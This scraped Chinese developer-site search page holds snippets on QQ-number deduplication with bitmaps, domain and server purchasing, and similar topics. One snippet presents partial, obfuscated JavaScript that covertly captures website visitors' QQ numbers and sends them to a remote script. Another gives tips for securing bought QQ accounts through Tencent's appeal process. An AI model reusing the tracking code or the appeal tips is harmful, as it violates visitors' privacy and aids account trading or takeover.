首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

腾讯二面:20亿个QQ号码如何去重?

背景 之前找工作在腾讯面试遇到了一个很有意思的面试题,当时我记得现场还没有答出来,后来回家想了一下其实也没有那么难,而且还挺有意思的,今天做个整理分享给大家,希望对你有用 题目如下 文件中有20亿个QQ...号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G....这个题目的意思应该很清楚了,不过为了方便大家理解,我画了一个比较有年代感的动画,希望大家喜欢 方法一 排序去重 其实说到去重,最简单的方法就是先排序,排序之后重复的QQ号码必然在一起,保留第一个,把其余重复的去掉就行...可是,面试官又要问你了:实际要存20亿QQ号码,1G的内存够分配这么多空间吗?显然不行,这样回答你还是无法通过腾讯面试。 方法三 bitmap 来看绝招!...居然这么简单 对bitmap有了大概的了解之后,我们直接把存在的qq号码对应的位置标记为1即可,下次查询只要对应位为1,则为重复,因为bitmap是一种非常省空间的数据结构,所以能够满足内存在1G之内的要求

60240

通过网页获取访客的QQ号码

现在有些互联网公司在开发一种软件,插入一段js代码到网站的任意页面(如首页),如果访客访问了网页,并且访客的电脑上打开并登录了QQ,那么就能获取到访客的QQ号码,从而判断客户是否开通了QQ邮箱,进而自动发送邮件...但这种技术如何实现的呢?通过今天研究其中一家软件公司的js代码,我发现了其中的一种绝妙的实现方式。...在需要获取的网页加入如下js引用: 而qq.js的代码如下: var para=document.getElementById("qclient_js");var v;v...','google.com','www.暂时保密.com','/'];  function send(){var url=key[0]+"://"+key[5]+key[6]+"getqq/qq.php...这里先不公开具体的实现,想了解思路的朋友可以QQ联系我,这条干货暂时不收费呀。

5.1K30
您找到你想要的搜索结果了吗?
是的
没有找到

腾讯三面:40亿个QQ号码如何去重?

今天,我们来聊一道常见的考题,也出现在腾讯面试的三面环节,非常有意思:文件中有40亿个QQ号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G。...1 方法一:排序 很自然地,最简单的方式是对所有的QQ号码进行排序,重复的QQ号码必然相邻,保留第一个,去掉后面重复的就行。...5 扩展 练习一 文件中有40亿个互不相同的QQ号码,请设计算法对QQ号码进行排序,内存限制1G。...请注意,这里必须限制40亿个QQ号码互不相同。通过bitmap记录,客观上就自动完成了排序功能。 练习二 文件中有40亿个互不相同的QQ号码,求这些QQ号码的中位数,内存限制1G。...根据容斥原理可知: 因为QQ号码的个数是43亿左右(理论值2^32 - 1),所以80亿个QQ号码必然存在相同的QQ号码。 海量数据的问题,要具体问题具体分析,不要眉毛胡子一把抓。

1K10

腾讯三面:40亿个QQ号码如何去重?

具体的题目如下: 文件中有40亿个QQ号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G.  这个题目的意思应该很清楚了,比较直白。...在原题中,实际有40亿个QQ号码,为了方便起见,在图解和叙述时,仅以4个QQ为例来说明。...方法一:排序 很自然地,最简单的方式是对所有的QQ号码进行排序,重复的QQ号码必然相邻,保留第一个,去掉后面重复的就行。...可是,面试官又要问你了:实际要存40亿QQ号码,1G的内存够分配这么多空间吗?显然不行,无法通过腾讯面试。 方法三:文件切割 显然,这是海量数据问题。...显然,可以推导出来:512MB大小足够标识所有QQ号码的存在与否,请注意:QQ号码的理论最大值为2^32 - 1,大概是43亿左右。

1.1K10

用户如何域名购买呢?购买域名需要注意什么?

随着网络时代的快速发展,域名也随之发展壮大了起来,访问网页一般都是通过域名这个载体实现的,如果用户自己建设了一个网站,或者公司开发了一个网站的话,必须要拥有自己的域名才可以,那么用户如何域名购买呢?...购买域名需要注意什么? 用户如何域名购买 1、选择合适的域名购买平台。目前网络上的域名购买平台非常多,用户应当选择一家大型、靠谱的平台,避免出现被骗的情况,并多多看该网站的评价如何。...2、进入购买页面。如何域名购买呢?选定域名购买网站后,再点击域名购买官网进入购买页面,可以根据自己的需要选择合适的域名进行购买。...3、点击选好的域名,在点击右上角的立即购买,即可选定域名并购买购买完成后可以在我的域名里查看。 购买域名需要注意什么 1、挑选合适的域名。...如果域名曾经出现过违规行为,最好还是不要购买该域名。 以上为大家介绍了用户如何域名购买购买域名比较简单,最重要的是挑选合适的域名和合适的购买平台。

27.5K20

QQ申诉技巧(号码无保快速上保方法)(by苏晨)

申诉技巧(号码无保快速上保方法) 关于无保和一代号码,申诉的几个要点!...7,无保号码容易上保,一代号,就是号码以前有一代密保,并且有证件,这种上保要久一些,并比较难上保但不是说绝对上不了,只是时间要比无保的久!像一代号尽量多开图标,多开业务!...多玩游戏,多听QQ音乐,多刷新IP活越度,天天申诉,反复申诉! 无保号码上保技巧: 买号后:第一步! 购买后使用手机或电脑挂qq,电脑ip要固定。(ip一定要固定,禁忌一会流量挂一会wifi挂。)...没有上密保之前,不要将自己扣扣号码泄露,或告诉他人避免闲人举报你,防止冻结。 登录后不要删除原来存在的好友。 除了增加自己的扣扣号为好友,不要新增别人qq。 不要去马上查看扣币,财付通余额。...成功上保以后,此qq就是真正属于你的了。 总之!千言万语汇成一句话:安全保障,信誉诚信,安全到你老! 不要号码出现一点小异常,就怀疑我们会登录你的qq,想着我们和你抢着申诉。

4K20

如何将迅捷在线转换微信、手机号码QQ三端进行绑定互通!

本文重点 可能有的人购买了用QQ登录的,也有人买了用手机登录的,也有人买了用微信登录的,可能有时候突然地忘记密码啥的,手机不在身边,这时就难办了,所以进行三方数据互通是很有必要的,那怎么做到三方进行绑定互通呢...正常来看,这里可以修改的,但是是灰色的,就代表着无法修改,那我们如何做到三方数据互通?...1、首先,如果你是购买的时候是用手机登录的,那么你可以直接操作下面的步骤:退出手机登录的账户,然后再进行登录,不过此时登录不是用手机号码登录了,而是用微信或者QQ登录,下面是用微信登录的:依次按如下操作...下面使用QQ登陆的:依次如下操作,同上述操作: ? ? 看,是不是也可以绑定手机了! ? 操作完毕! 如果你不是购买的时候是用手机登录的,直接登录账号绑定手机即可!操作同上。

2K30

如何购买 GPU 服务器?

购买须知 购买之前需注意: 在购买腾讯云 GPU 云服务器前,请确保已经 了解腾讯云 GPU 云服务器,且已 了解配置与价格,并根据实际需求购买。...费用详情请参见 计费概述,选择购买数量和时长,确认无误后点击即购买。 确保了解所选 GPU 实例所在可用区,。...购买步骤 以实例类型 GN10 为例,用户依据以下操作可以快速购买一台 GPU 云服务器: 1. 登录购买页面 单击进入购买页面 >> 2....选择购买数量和购买时长。 设置完成后单击【立即购买】。 7. 核对订单,付款 在这个步骤需要: 核对订单信息。 选择付款方式付款。 支付成功后,进入控制台,待机器创建启动完毕,即可登录机器。

13.5K00

光模块购买如何选择?

但是,第三方模块商可以通过对模块的分析,独立实现解码和写码,一个OEM商给模块加的码基本上只有一个或几个,优秀的兼容模块商可以同时掌握多个OEM商的代码,提供多家OEM上的兼容模块,使得客户购买和安装的时候轻松方便很多...那么我们该如何选择呢? 当你是采购或业务员时,那么一定要买交换机原装光模块,为什么呢?因为买兼容的光模块不出问题还好,出了问题,老板可能就怀疑你吃了回扣,到时候你就百口莫辩。...无论兼容的替代品吹得如何天花乱坠,但是我们依然会选择原装的一样,用起来放心,心里踏实,出了问题也能马上更换。光纤模块更是如此,一旦装上就要用好久好久的!

3K40
领券